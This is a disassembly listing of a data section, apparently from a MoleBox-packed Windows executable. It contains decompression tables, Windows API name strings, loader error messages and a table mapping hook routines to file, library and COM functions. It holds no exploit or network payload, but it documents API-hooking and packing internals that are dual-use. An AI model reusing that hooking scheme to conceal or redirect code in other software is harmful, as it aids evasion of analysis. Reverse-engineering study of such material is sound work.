0Fh dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0EDh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h dd 0A3h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E3h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D3h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B3h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F3h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CBh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0ABh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EBh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Bh, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FBh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A7h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F7h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EFh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh dword_510128 dd 550h, 1, 557h, 101h, 553h, 11h, 55Bh, 1001h, 551h, 5 ; DATA XREF: sub_50D8AF+25o dd 559h, 401h, 555h, 41h, 55Dh, 4001h, 550h, 3, 558h, 201h dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h, 556h, 81h dd 5C0h, 6001h, 550h, 2, 557h, 181h, 553h, 19h, 55Bh, 1801h dd 551h, 7, 559h, 601h, 555h, 61h, 55Dh, 6001h, 550h, 4 dd 558h, 301h, 554h, 31h, 55Ch, 3001h, 552h, 0Dh, 55Ah dd 0C01h, 556h, 0C1h, 5C0h, 6001h aIncompleteDyna db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_50D3A6+66o aOversubscribed db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_50D3A6+4Eo aIncompleteLite db 'incomplete literal/length tree',0 ; DATA XREF: sub_50D7AC:loc_50D891o align 4 aOversubscrib_1 db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_50D7AC+D7o align 4 aEmptyDistanceT db 'empty distance tree with lengths',0 ; DATA XREF: sub_50D7AC:loc_50D875o align 4 aIncompleteDist db 'incomplete distance tree',0 ; DATA XREF: sub_50D7AC+BBo align 4 aOversubscrib_0 db 'oversubscribed distance tree',0 ; DATA XREF: sub_50D7AC+ADo align 4 dword_510318 dd 0 ; DATA XREF: sub_50BC4B:loc_50C07Fr ; sub_50BC4B+4C0r ... dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh, 0FFh, 1FFh, 3FFh, 7FFh dd 0FFFh, 1FFFh, 3FFFh, 7FFFh, 0FFFFh aGetcurrentproc db 'GetCurrentProcess',0 ; DATA XREF: sub_4FD2E0+1E4o ; sub_4FE2E0+16Bo align 10h aFlushinstructi db 'FlushInstructionCache',0 ; DATA XREF: sub_4FD2E0:loc_4FD4B0o align 4 aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_4FD2E0+1ABo ; sub_4FDDD0+1Do ... align 4 aBarier db 'BARIER',0 ; DATA XREF: sub_4FD2E0+4Co align 10h aWindowsntUnkno db 'WindowsNT(unknown)',0 ; DATA XREF: _5:loc_4FE1D5o ; _5:loc_4FE1E1o align 4 aWindows_net db 'Windows.NET',0 ; DATA XREF: _5:004FE1C9o aWindowsxp db 'WindowsXP',0 ; DATA XREF: _5:004FE1B1o align 4 aWindows2000 db 'Windows2000',0 ; DATA XREF: _5:004FE199o aWindowsnt4_0 db 'WindowsNT(4.0)',0 ; DATA XREF: _5:004FE175o align 4 aWindowsnt3_51 db 'WindowsNT(3.51)',0 ; DATA XREF: _5:004FE15Ao aWindows9xUnkno db 'Windows9x(unknown)',0 ; DATA XREF: _5:loc_4FE13Fo align 4 aWindowsme db 'WindowsMe',0 ; DATA XREF: _5:004FE133o align 4 aWindows98 db 'Windows98',0 ; DATA XREF: _5:004FE11Bo align 4 aWindows95 db 'Windows95',0 ; DATA XREF: _5:004FE103o align 10h aWin32s db 'win32s',0 ; DATA XREF: _5:loc_4FE0E8o align 4 aVirtualalloc db 'VirtualAlloc',0 ; DATA XREF: _5:loc_4FDE99o ; sub_4FE2E0+52Bo align 4 aCreatethread db 'CreateThread',0 ; DATA XREF: sub_4FE2E0+86Do align 4 aPostmessagea db 'PostMessageA',0 ; DATA XREF: sub_4FE2E0+859o align 4 aDefwindowproca db 'DefWindowProcA',0 ; DATA XREF: sub_4FE2E0+845o align 4 aEnumwindows db 'EnumWindows',0 ; DATA XREF: sub_4FE2E0+831o aDestroywindo_0 db 'DestroyWindow',0 ; DATA XREF: sub_4FE2E0+81Do align 4 aDispatchmessag db 'DispatchMessageA',0 ; DATA XREF: sub_4FE2E0+809o align 4 aTranslatemessa db 'TranslateMessage',0 ; DATA XREF: sub_4FE2E0+7F5o align 4 aGetmessagea db 'GetMessageA',0 ; DATA XREF: sub_4FE2E0+7E1o aCreatewindowex db 'CreateWindowExA',0 ; DATA XREF: sub_4FE2E0+7CDo aGetsystemmetri db 'GetSystemMetrics',0 ; DATA XREF: sub_4FE2E0+7B9o align 4 aRegisterclasse db 'RegisterClassExA',0 ; DATA XREF: sub_4FE2E0+7A5o align 10h aSetforegroundw db 'SetForegroundWindow',0 ; DATA XREF: sub_4FE2E0+791o aSetactivewindo db 'SetActiveWindow',0 ; DATA XREF: sub_4FE2E0+77Do aGetwindowthrea db 'GetWindowThreadProcessId',0 ; DATA XREF: sub_4FE2E0+769o align 10h aBitblt_0 db 'BitBlt',0 ; DATA XREF: sub_4FE2E0+755o align 4 aDeleteobject_0 db 'DeleteObject',0 ; DATA XREF: sub_4FE2E0+741o align 4 aSelectobject_0 db 'SelectObject',0 ; DATA XREF: sub_4FE2E0+72Do align 4 aGetobjecta db 'GetObjectA',0 ; DATA XREF: sub_4FE2E0+719o align 4 aEndpaint db 'EndPaint',0 ; DATA XREF: sub_4FE2E0+705o align 10h aBeginpaint db 'BeginPaint',0 ; DATA XREF: sub_4FE2E0+6F1o align 4 aRemovefontreso db 'RemoveFontResourceA',0 ; DATA XREF: sub_4FE2E0+6DDo aDeletedc_0 db 'DeleteDC',0 ; DATA XREF: sub_4FE2E0+6C9o align 4 aCreatedibsec_0 db 'CreateDIBSection',0 ; DATA XREF: sub_4FE2E0+6B5o align 10h aCreatecompat_0 db 'CreateCompatibleDC',0 ; DATA XREF: sub_4FE2E0+6A1o align 4 aAddfontresourc db 'AddFontResourceA',0 ; DATA XREF: sub_4FE2E0:loc_4FE96Do align 4 aGdi32_dll_0 db 'gdi32.dll',0 ; DATA XREF: sub_4FE2E0+668o align 4 aWvsprintfa db 'wvsprintfA',0 ; DATA XREF: sub_4FE2E0+654o align 10h aWsprintfa_0 db 'wsprintfA',0 ; DATA XREF: sub_4FE2E0+640o align 4 aMessageboxa_0 db 'MessageBoxA',0 ; DATA XREF: sub_4FE2E0+62Co aLoadimagea db 'LoadImageA',0 ; DATA XREF: sub_4FE2E0+618o align 4 aCharupperbuffa db 'CharUpperBuffA',0 ; DATA XREF: sub_4FE2E0+604o align 4 aChangedisplays db 'ChangeDisplaySettingsA',0 ; DATA XREF: sub_4FE2E0:loc_4FE8D0o align 4 aUser32_dll_1 db 'user32.dll',0 ; DATA XREF: sub_4FE2E0+5CBo align 4 aLstrcmpia db 'lstrcmpiA',0 ; DATA XREF: sub_4FE2E0+5B7o align 4 aWritefile db 'WriteFile',0 ; DATA XREF: sub_4FE2E0+5A3o ; sub_509F43+153o align 10h aWidechartomult db 'WideCharToMultiByte',0 ; DATA XREF: sub_4FE2E0+58Fo aWaitforsingleo db 'WaitForSingleObject',0 ; DATA XREF: sub_4FE2E0+57Bo ; sub_507494+1D4o aVirtualquery db 'VirtualQuery',0 ; DATA XREF: sub_4FE2E0+567o align 4 aVirtualprotect db 'VirtualProtect',0 ; DATA XREF: sub_4FE2E0+553o align 4 aVirtualfree db 'VirtualFree',0 ; DATA XREF: sub_4FE2E0+53Fo aUnmapviewoffil db 'UnmapViewOfFile',0 ; DATA XREF: sub_4FE2E0+517o aUnlockfile db 'UnlockFile',0 ; DATA XREF: sub_4FE2E0+503o align 10h aTerminateproce db 'TerminateProcess',0 ; DATA XREF: sub_4FE2E0+4EFo align 4 aSleep db 'Sleep',0 ; DATA XREF: sub_4FE2E0+4DBo ; sub_507494+25Eo align 4 aSetunhandledex db 'SetUnhandledExceptionFilter',0 ; DATA XREF: sub_4FE2E0+4C7o aSetlasterror db 'SetLastError',0 ; DATA XREF: sub_4FE2E0+4B3o align 4 aSetfilepointer db 'SetFilePointer',0 ; DATA XREF: sub_4FE2E0+49Fo align 4 aSetevent db 'SetEvent',0 ; DATA XREF: sub_4FE2E0+48Bo align 4 aSetenvironment db 'SetEnvironmentVariableA',0 ; DATA XREF: sub_4FE2E0+477o aReadfile_0 db 'ReadFile',0 ; DATA XREF: sub_4FE2E0+463o align 4 aRaiseexception db 'RaiseException',0 ; DATA XREF: sub_4FE2E0+44Fo align 4 aOpenprocess db 'OpenProcess',0 ; DATA XREF: sub_4FE2E0+43Bo ; sub_507494+230o aMultibytetowid db 'MultiByteToWideChar',0 ; DATA XREF: sub_4FE2E0+427o aMapviewoffile db 'MapViewOfFile',0 ; DATA XREF: sub_4FE2E0+413o align 4 aLockfile db 'LockFile',0 ; DATA XREF: sub_4FE2E0+3FFo align 4 aLocalfree db 'LocalFree',0 ; DATA XREF: sub_4FE2E0+3EBo align 10h aLocalalloc db 'LocalAlloc',0 ; DATA XREF: sub_4FE2E0+3D7o align 4 aLoadlibraryexa db 'LoadLibraryExA',0 ; DATA XREF: sub_4FE2E0+3C3o align 4 aLoadlibrarya db 'LoadLibraryA',0 ; DATA XREF: sub_4FE2E0+3AFo align 4 aLeavecriticals db 'LeaveCriticalSection',0 ; DATA XREF: sub_4FE2E0+39Bo align 4 aDeletecritical db 'DeleteCriticalSection',0 ; DATA XREF: sub_4FE2E0+387o align 4 aInitializecrit db 'InitializeCriticalSection',0 ; DATA XREF: sub_4FE2E0+373o align 4 aHeapcreate db 'HeapCreate',0 ; DATA XREF: sub_4FE2E0+35Fo align 4 aHeapfree db 'HeapFree',0 ; DATA XREF: sub_4FE2E0+34Bo align 10h aHeapalloc db 'HeapAlloc',0 ; DATA XREF: sub_4FE2E0+337o align 4 aGettickcount db 'GetTickCount',0 ; DATA XREF: sub_4FE2E0+323o align 4 aGetversionexa db 'GetVersionExA',0 ; DATA XREF: sub_4FE2E0+30Fo align 4 aGettemppatha db 'GetTempPathA',0 ; DATA XREF: sub_4FE2E0+2FBo ; sub_507494+92o align 4 aGettempfilenam db 'GetTempFileNameA',0 ; DATA XREF: sub_4FE2E0+2E7o align 10h aGetsystemtimea db 'GetSystemTimeAsFileTime',0 ; DATA XREF: sub_4FE2E0+2D3o aGetprocaddress db 'GetProcAddress',0 ; DATA XREF: sub_4FE2E0+2BFo align 4 aGetprivatepr_1 db 'GetPrivateProfileStringA',0 ; DATA XREF: sub_4FE2E0+2ABo align 4 aGetprivatepr_0 db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: sub_4FE2E0+297o align 4 aGetprivateprof db 'GetPrivateProfileIntA',0 ; DATA XREF: sub_4FE2E0+283o align 4 aGetmodulehandl db 'GetModuleHandleA',0 ; DATA XREF: sub_4FE2E0+26Fo align 10h aGetmodulefilen db 'GetModuleFileNameA',0 ; DATA XREF: sub_4FE2E0+25Bo align 4 aGetlasterror db 'GetLastError',0 ; DATA XREF: sub_4FE2E0+247o align 4 aGetfullpathn_0 db 'GetFullPathNameW',0 ; DATA XREF: sub_4FE2E0+233o align 4 aGetfullpathnam db 'GetFullPathNameA',0 ; DATA XREF: sub_4FE2E0+21Fo align 4 aGetfiletime db 'GetFileTime',0 ; DATA XREF: sub_4FE2E0+20Bo aGetfilesize db 'GetFileSize',0 ; DATA XREF: sub_4FE2E0+1F7o aGetfileinforma db 'GetFileInformationByHandle',0 ; DATA XREF: sub_4FE2E0+1E3o align 10h aGetfileattri_0 db 'GetFileAttributesW',0 ; DATA XREF: sub_4FE2E0+1CFo align 4 aGetfileattribu db 'GetFileAttributesA',0 ; DATA XREF: sub_4FE2E0+1BBo align 4 aGetexitcodepro db 'GetExitCodeProcess',0 ; DATA XREF: sub_4FE2E0+1A7o ; sub_507494+1A6o align 4 aGetenvironment db 'GetEnvironmentVariableA',0 ; DATA XREF: sub_4FE2E0+193o aGetcurrentpr_0 db 'GetCurrentProcessId',0 ; DATA XREF: sub_4FE2E0+17Fo ; sub_5058A0+11o aFreelibrary db 'FreeLibrary',0 ; DATA XREF: sub_4FE2E0+157o aFormatmessagea db 'FormatMessageA',0 ; DATA XREF: sub_4FE2E0+143o align 4 aFlushfilebuffe db 'FlushFileBuffers',0 ; DATA XREF: sub_4FE2E0+12Fo align 4 aFindnextfilea db 'FindNextFileA',0 ; DATA XREF: sub_4FE2E0+11Bo align 4 aFindfirstfilea db 'FindFirstFileA',0 ; DATA XREF: sub_4FE2E0+107o ; sub_507494+11Co align 4 aFindclose db 'FindClose',0 ; DATA XREF: sub_4FE2E0+F3o ; sub_507494+178o align 4 aExitprocess db 'ExitProcess',0 ; DATA XREF: sub_4FE2E0+DFo ; sub_507494+202o aEntercriticals db 'EnterCriticalSection',0 ; DATA XREF: sub_4FE2E0+CBo align 4 aDeletefilea db 'DeleteFileA',0 ; DATA XREF: sub_4FE2E0+B7o ; sub_507494+14Ao aDebugbreak db 'DebugBreak',0 ; DATA XREF: sub_4FE2E0+A3o align 10h aCreateprocessa db 'CreateProcessA',0 ; DATA XREF: sub_4FE2E0+8Fo align 10h aCreatefilema_0 db 'CreateFileMappingW',0 ; DATA XREF: sub_4FE2E0+7Bo align 4 aCreatefilemapp db 'CreateFileMappingA',0 ; DATA XREF: sub_4FE2E0+67o align 4 aCreatefilew db 'CreateFileW',0 ; DATA XREF: sub_4FE2E0+53o aCreatefilea db 'CreateFileA',0 ; DATA XREF: sub_4FE2E0+3Fo aClosehandle db 'CloseHandle',0 ; DATA XREF: sub_4FE2E0:loc_4FE30Bo ; sub_507494+28Co aApiNopefunc db ':API:NopeFunc',0 ; DATA XREF: sub_50DAB0+3o align 4 aMbx db 'mbx',0 ; DATA XREF: sub_4FF94C+19Eo aBoxReadcompres db ':BOX:ReadCompressedSection: decompresion failed with code %d',0 ; DATA XREF: sub_500C5C+340o align 10h a? db '\\?\',0 ; DATA XREF: sub_50153F+56o align 4 dword_510B68 dd 1Eh ; DATA XREF: sub_502DD0+5Aw align 10h dword_510B70 dd 2 dup(0) ; DATA XREF: sub_500C5C+B6o ; sub_500C5C+DBo ... dword_510B78 dd 0 ; DATA XREF: sub_500C5C+73r ; sub_500C5C+F9w ... dword_510B7C dd 0 ; DATA XREF: sub_500C5C+63r ; sub_500C5C+106w ... off_510B80 dd offset dword_5118FC ; DATA XREF: sub_500C5C+84r ; sub_500C5C+125r dd 5 dup(0) dd offset dword_511900 dd 5 dup(0) dd offset dword_511904 align 8 aKernel32_0 db 'kernel32',0 ; DATA XREF: sub_502DD0+E2o ; sub_50A8AA:loc_50A995o ... align 4 aGetlongpathnam db 'GetLongPathNameA',0 ; DATA XREF: sub_502DD0+DDo ; sub_50AAEB+27o align 4 dword_510BD8 dd 584F424Dh ; DATA XREF: sub_503610:loc_5039B0r ; sub_503610+3C4o align 10h dword_510BE0 dd 2Ah ; DATA XREF: sub_4FC06B+5Ao dword_510BE4 dd 2A2E2Ah ; DATA XREF: sub_4FC06B+26o off_510BE8 dd offset aAvicap32_dll ; DATA XREF: sub_504AB0:loc_504BDDr ; sub_504AB0+139w ... ; "avicap32.dll" aTheUncompressi db 'The uncompression error',0 aExecutable db 'EXECUTABLE',0 ; DATA XREF: sub_504AB0+14Bo ; sub_504DC0+220o align 10h aTheDynamicLink db 'The dynamic link library ',27h,'%s',27h,' could not be found',0 ; DATA XREF: sub_504AB0+123o align 4 aOleaout32_dll db 'oleaout32.dll',0 ; DATA XREF: sub_504DC0+295o align 4 aOleoaut32_dll db 'oleoaut32.dll',0 ; DATA XREF: sub_504DC0:loc_505041o align 4 aImm32_dll db 'imm32.dll',0 ; DATA XREF: sub_504DC0:loc_50501Fo ; sub_504DC0+273o align 10h loc_510C70: ; DATA XREF: sub_5061E1+B67o pop eax push 0FF00FF00h push 0FF00FF00h push 0FF00FF00h push eax push 0FF00FF00h retn ; --------------------------------------------------------------------------- align 4 dword_510C88 dd 6C6C642Eh, 0 ; DATA XREF: sub_50581E+19o ; sub_50581E+32o aDProjectsMy_sr db 'D:\Projects\My.SRC\MoleStudio\MoleBox\molebox2\bootup\mbx_DLL.cpp' ; DATA XREF: sub_5061E1+D34o db 0 align 4 a_box_ db '_BOX_',0 ; DATA XREF: sub_5061E1+ADBo align 4 aGetcurrentdire db 'GetCurrentDirectoryA',0 ; DATA XREF: sub_507494+EEo align 4 aSetcurrentdire db 'SetCurrentDirectoryA',0 ; DATA XREF: sub_507494+C0o align 4 aMbx@X@_ db 'MBX@%X@*.###',0 ; DATA XREF: sub_507494+53o ; sub_508892+E8o align 4 aStripped db '<stripped>',0 ; DATA XREF: _6:off_50E4FCo align 4 aAssertionFai_2 db 'ASSERTION failed',0 ; DATA XREF: _6:off_50E4F8o align 4 aMoleboxLaunche db 'MoleBox launcher fatal error',0 ; DATA XREF: _6:off_50E4F4o align 4 asc_510D5C: ; DATA XREF: sub_50848C+57o ; sub_5084F7+2Do dw 0Ah unicode 0, <>,0 aErrorAtSDReaso db 'Error at %s:%d',0Ah ; DATA XREF: sub_50848C+1Eo db 0Ah db 'Reason: ',0 align 4 aUp1_txt db '-up1.txt',0 ; DATA XREF: sub_508538:loc_508648o align 4 aUp_txt db '-up.txt',0 ; DATA XREF: sub_508538+BCo asc_510D90 db 0Dh,0Ah,0 ; DATA XREF: sub_508726+59o align 4 aWindowsErrorSA db 'windows error %s',0Ah ; DATA XREF: sub_5087CA+75o db ' at %s(%d)',0Ah,0 align 4 aMbx@X@X_ db 'MBX@%X@%X.###',0 ; DATA XREF: sub_508892+C2o align 4 aMbx@X@X@X_ db 'MBX@%X@%X@%X.###',0 ; DATA XREF: sub_508892+93o align 4 a__3 db '.###',0 ; DATA XREF: sub_508A16+175o align 10h aMbx@ db 'MBX@',0 ; DATA XREF: sub_508A16+78o align 4 aInvalidDllRelo db 'INVALID DLL RELOCATION',0 ; DATA XREF: sub_508C27:loc_508E60o align 10h aBadFuulname db 'BAD FUULNAME',0 ; DATA XREF: sub_508C27:loc_508E57o align 10h aGetmodulenameE db 'GetModuleName ERROR',0 ; DATA XREF: sub_508C27:loc_508E4Eo aHookingDllErro db 'HOOKING DLL ERROR',0 ; DATA XREF: sub_508C27:loc_508E45o align 4 aPackedDllOrBox db 'PACKED DLL OR BOXFILE CORRUPTED',0 ; DATA XREF: sub_508C27:loc_508E3Co aInvalidCompres db 'INVALID COMPRESSION/ENCRYPTION ALGORITHM',0 ; DATA XREF: sub_508C27:loc_508E33o align 4 aDllCorrupted db 'DLL CORRUPTED',0 ; DATA XREF: sub_508C27:loc_508E2Ao align 4 aHeapCorrupted db 'HEAP CORRUPTED',0 ; DATA XREF: sub_508C27:loc_508E21o align 4 aCouldNotCreate db 'COULD NOT CREATE HEAP',0 ; DATA XREF: sub_508C27:loc_508E18o align 4 aVirtualprote_0 db 'VIRTUALPROTECT BROKEN',0 ; DATA XREF: sub_508C27:loc_508E0Fo align 4 aWrappersTableB db 'WRAPPERS TABLE BROKEN',0 ; DATA XREF: sub_508C27:loc_508E06o align 4 aOutOfMemory db 'OUT OF MEMORY',0 ; DATA XREF: sub_508C27:loc_508DFDo align 4 aFeatureIsNotIm db 'FEATURE IS NOT IMPLEMENTED',0 ; DATA XREF: sub_508C27:loc_508DF4o align 4 aBoxfileCorrupt db 'BOXFILE CORRUPTED',0 ; DATA XREF: sub_508C27:loc_508DEBo align 4 aReadBoxfileErr db 'READ BOXFILE ERROR',0 ; DATA XREF: sub_508C27:loc_508DE2o align 10h aCouldNotOpenBo db 'COULD NOT OPEN BOXFILE',0 ; DATA XREF: sub_508C27:loc_508DD6o align 4 aPathIsVeryLong db 'PATH IS VERY LONG',0 ; DATA XREF: sub_508C27:loc_508DCAo align 4 aExecutableCorr db 'EXECUTABLE CORRUPTED',0 ; DATA XREF: sub_508C27:loc_508DBEo align 4 aDynamicLibrary db 'DYNAMIC LIBRARY IS NOT NT IMAGE',0 ; DATA XREF: sub_508C27:loc_508DB2o aExecutableIsNo db 'EXECUTABLE IS NOT NT IMAGE',0 ; DATA XREF: sub_508C27:loc_508DA6o align 10h aHasNoAccessToE db 'HAS NO ACCESS TO EXECUTABLE',0 ; DATA XREF: sub_508C27:loc_508D9Ao aAssertionFai_1 db 'ASSERTION FAILED',0 ; DATA XREF: sub_508C27:loc_508D8Eo align 10h aEsi0x08xEdi0x0 db 'ESI:0x%08X EDI:0x%08X',0 ; DATA XREF: sub_508C27+101o align 4 aEsp0x08xEbp0x0 db 'ESP:0x%08X EBP:0x%08X EIP:0x%08X',0 ; DATA XREF: sub_508C27+DCo align 4 aEax0x08xEdx0x0 db 'EAX:0x%08X EDX:0x%08X ECX:0x%08X',0 ; DATA XREF: sub_508C27+ABo align 10h aEs0x08xFs0x08x db 'ES :0x%08X FS :0x%08X GS :0x%08X',0 ; DATA XREF: sub_508C27+7Ao align 4 aCs0x08xSs0x08x db 'CS :0x%08X SS :0x%08X DS :0x%08X',0 ; DATA XREF: sub_508C27+49o align 4 a__seh__0xXAt0x db '__SEH__ 0x%x at 0x%x',0 ; DATA XREF: sub_508C27+18o align 10h aCc7574e45e3947 db '{CC7574E4-5E39-4700-B286-269A82DD8E95}',0 ; DATA XREF: sub_4FC271+40o ; sub_4FC271+E2o align 4 a_splashscreen_ db '_splashscreen.bmp',0 ; DATA XREF: sub_4FC3F3+12o align 4 aBroken0x08x db '!broken!0x%08x:',0 ; DATA XREF: sub_508EF3+FBo a0x08xS03x08x db '0x%08x:[%s]:(%03x:%08x)',0 ; DATA XREF: sub_508EF3+CAo aUnknown_0 db 'unknown',0 ; DATA XREF: sub_508EF3+B7o a0x08xUnknownUn db '0x%08x:[unknown]:unknown',0 ; DATA XREF: sub_508EF3+60o align 4 aBroken db '!broken!',0 ; DATA XREF: sub_508EF3+31o align 4 a0x08x0x08x0x08 db '0x%08x: 0x%08x 0x%08x 0x%08x 0x%08x',0 ; DATA XREF: sub_50918E+F9o aStack db '--stack--',0 ; DATA XREF: sub_50918E:loc_509242o align 4 a___OpssBrokenB db ' ... opss, broken by SEH',0 ; DATA XREF: sub_50918E+A5o ; sub_50918E+11Eo align 10h aS_32 db ' %s',0 ; DATA XREF: sub_50918E+47o ; sub_50918E+8Ao align 4 aBacktrace db '-- backtrace --',0 ; DATA XREF: sub_50918E+28o dd 2 dup(0FFFFFFFFh) aDllgetclassobj db 'DllGetClassObject',0 ; DATA XREF: sub_50931F+51o ; sub_50B076+39o align 8 dword_5111C8 dd 2 dup(0) ; DATA XREF: sub_5093B3+55o dd 0C0h, 46000000h dword_5111D8 dd 1, 0 ; DATA XREF: sub_5093B3+11o dd 0C0h, 46000000h aRegqueryvaluea db 'RegQueryValueA',0 ; DATA XREF: sub_509638+42o align 4 aAdvapi32_dll_0 db 'ADVAPI32.DLL',0 ; DATA XREF: sub_509638+3Do align 4 aClsid08x04x04x db 'CLSID\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\InprocSe' ; DATA XREF: sub_50971C+58o db 'rver32',0 off_511250 dd offset sub_509C54 ; DATA XREF: sub_509DD4+102o dd offset aSetunhandled_0 ; "SetUnhandledExceptionFilter" dd offset sub_50B2B0 dd offset aCreatefilea_1 ; "CreateFileA" dd offset sub_50B2FE dd offset aCreatefilew_0 ; "CreateFileW" dd offset sub_50A7AF dd offset aGetfileattri_3 ; "GetFileAttributesA" dd offset sub_50A7DD dd offset aGetfileattri_4 ; "GetFileAttributesW" dd offset sub_50A8AA dd offset aGetfileattri_5 ; "GetFileAttributesExW" dd offset sub_50B3FC dd offset aReadfile_2 ; "ReadFile" dd offset sub_50B3D5 dd offset aClosehandle_1 ; "CloseHandle" dd offset sub_50B460 dd offset aSetfilepoint_1 ; "SetFilePointer" dd offset sub_50A9EC dd offset aGetfilesize_0 ; "GetFileSize" dd offset sub_50A0C8 dd offset aExitprocess_1 ; "ExitProcess" dd offset sub_50B4A4 dd offset aCreatefilema_2 ; "CreateFileMappingA" dd offset sub_50B4E0 dd offset aCreatefilema_3 ; "CreateFileMappingW" dd offset sub_50B51C dd offset aMapviewoffil_0 ; "MapViewOfFile" dd offset sub_50B55B dd offset aUnmapviewoff_0 ; "UnmapViewOfFile" dd offset sub_50B18D dd offset aFreelibrary_0 ; "FreeLibrary" dd offset sub_50AE83 dd offset aLoadlibrarya_0 ; "LoadLibraryA" dd offset sub_50AF65 dd offset aLoadlibraryw ; "LoadLibraryW" dd offset sub_50AE96 dd offset aLoadlibrarye_0 ; "LoadLibraryExA" dd offset sub_50AF78 dd offset aLoadlibraryexw ; "LoadLibraryExW" dd offset sub_50B076 dd offset aGetprocaddre_0 ; "GetProcAddress" dd offset sub_50A334 dd offset aFindfirstfil_1 ; "FindFirstFileA" dd offset sub_50A361 dd offset aFindfirstfilew ; "FindFirstFileW" dd offset sub_50A4AA dd offset aFindfirstfilee ; "FindFirstFileExW" ; --------------------------------------------------------------------------- jmp dword ptr [ebp-17BBFFB0h] ; --------------------------------------------------------------------------- dw 50h dd offset sub_50A626 dd offset aFindnextfile_1 ; "FindNextFileA" dd offset sub_50A657 dd offset aFindnextfilew ; "FindNextFileW" dd offset sub_50B582 dd offset aOpenfile ; "OpenFile" dd offset sub_50B636 dd offset a_lopen ; "_lopen" dd offset sub_50B677 dd offset a_lclose ; "_lclose" dd offset sub_50B711 dd offset a_lread ; "_lread" dd offset sub_50B6CC dd offset a_llseek ; "_llseek" dd offset sub_50AF8C dd offset aGetmodulehan_0 ; "GetModuleHandleA" dd offset sub_50AFC6 dd offset aGetmodulehan_1 ; "GetModuleHandleW" dd offset sub_50A226 dd offset aSearchpathw ; "SearchPathW" dd offset sub_50A1C7 dd offset aSearchpatha_0 ; "SearchPathA" dd offset sub_50AC66 dd offset aGetprivatepr_2 ; "GetPrivateProfileStringA" dd offset sub_50AD0C dd offset aGetprivatepr_3 ; "GetPrivateProfileIntA" dd offset sub_50AD93 dd offset aGetprivatepr_4 ; "GetPrivateProfileSectionNamesA" dd offset sub_50ADDE dd offset aGetprivatepr_5 ; "GetPrivateProfileSectionA" dd offset sub_50A710 dd offset aGetfileinfor_0 ; "GetFileInformationByHandle" dd offset sub_50A741 dd offset aLockfile_0 ; "LockFile" dd offset sub_50A77D dd offset aUnlockfile_0 ; "UnlockFile" dd offset sub_50AA24 dd offset aGetmodulefil_1 ; "GetModuleFileNameA" dd offset sub_50AA5E dd offset aGetmodulefil_2 ; "GetModuleFileNameW" dd offset sub_50AAEB dd offset aGetlongpathn_1 ; "GetLongPathNameA" dd offset sub_50AB3D dd offset aGetlongpathn_2 ; "GetLongPathNameW" off_5113C8 dd offset sub_50B23E ; DATA XREF: sub_509DD4+116o dd offset aAddfontresou_0 ; "AddFontResourceA" dd offset sub_50B277 dd offset aRemovefontre_0 ; "RemoveFontResourceA" off_5113D8 dd offset sub_50B1EA ; DATA XREF: sub_509DD4+12Ao dd offset aLoadimagea_0 ; "LoadImageA" off_5113E0 dd offset sub_509518 ; DATA XREF: sub_509DD4+13Eo dd offset aCocreateinstan ; "CoCreateInstance" dd offset sub_509789 dd offset aCocreateinst_0 ; "CoCreateInstanceEx" dd offset sub_5098C0 dd offset aCogetclassobje ; "CoGetClassObject" off_5113F8 dd offset sub_509A34 ; DATA XREF: sub_509DD4+152o dd offset aGetrecordinf_0 ; "GetRecordInfoFromGuids" dd offset sub_509B3C dd offset aLoadregtypelib ; "LoadRegTypeLib" aGetfileattri_1 db 'GetFileAttributesExW',0 ; DATA XREF: sub_50A8AA+F0o align 10h aGetlongpathn_0 db 'GetLongPathNameW',0 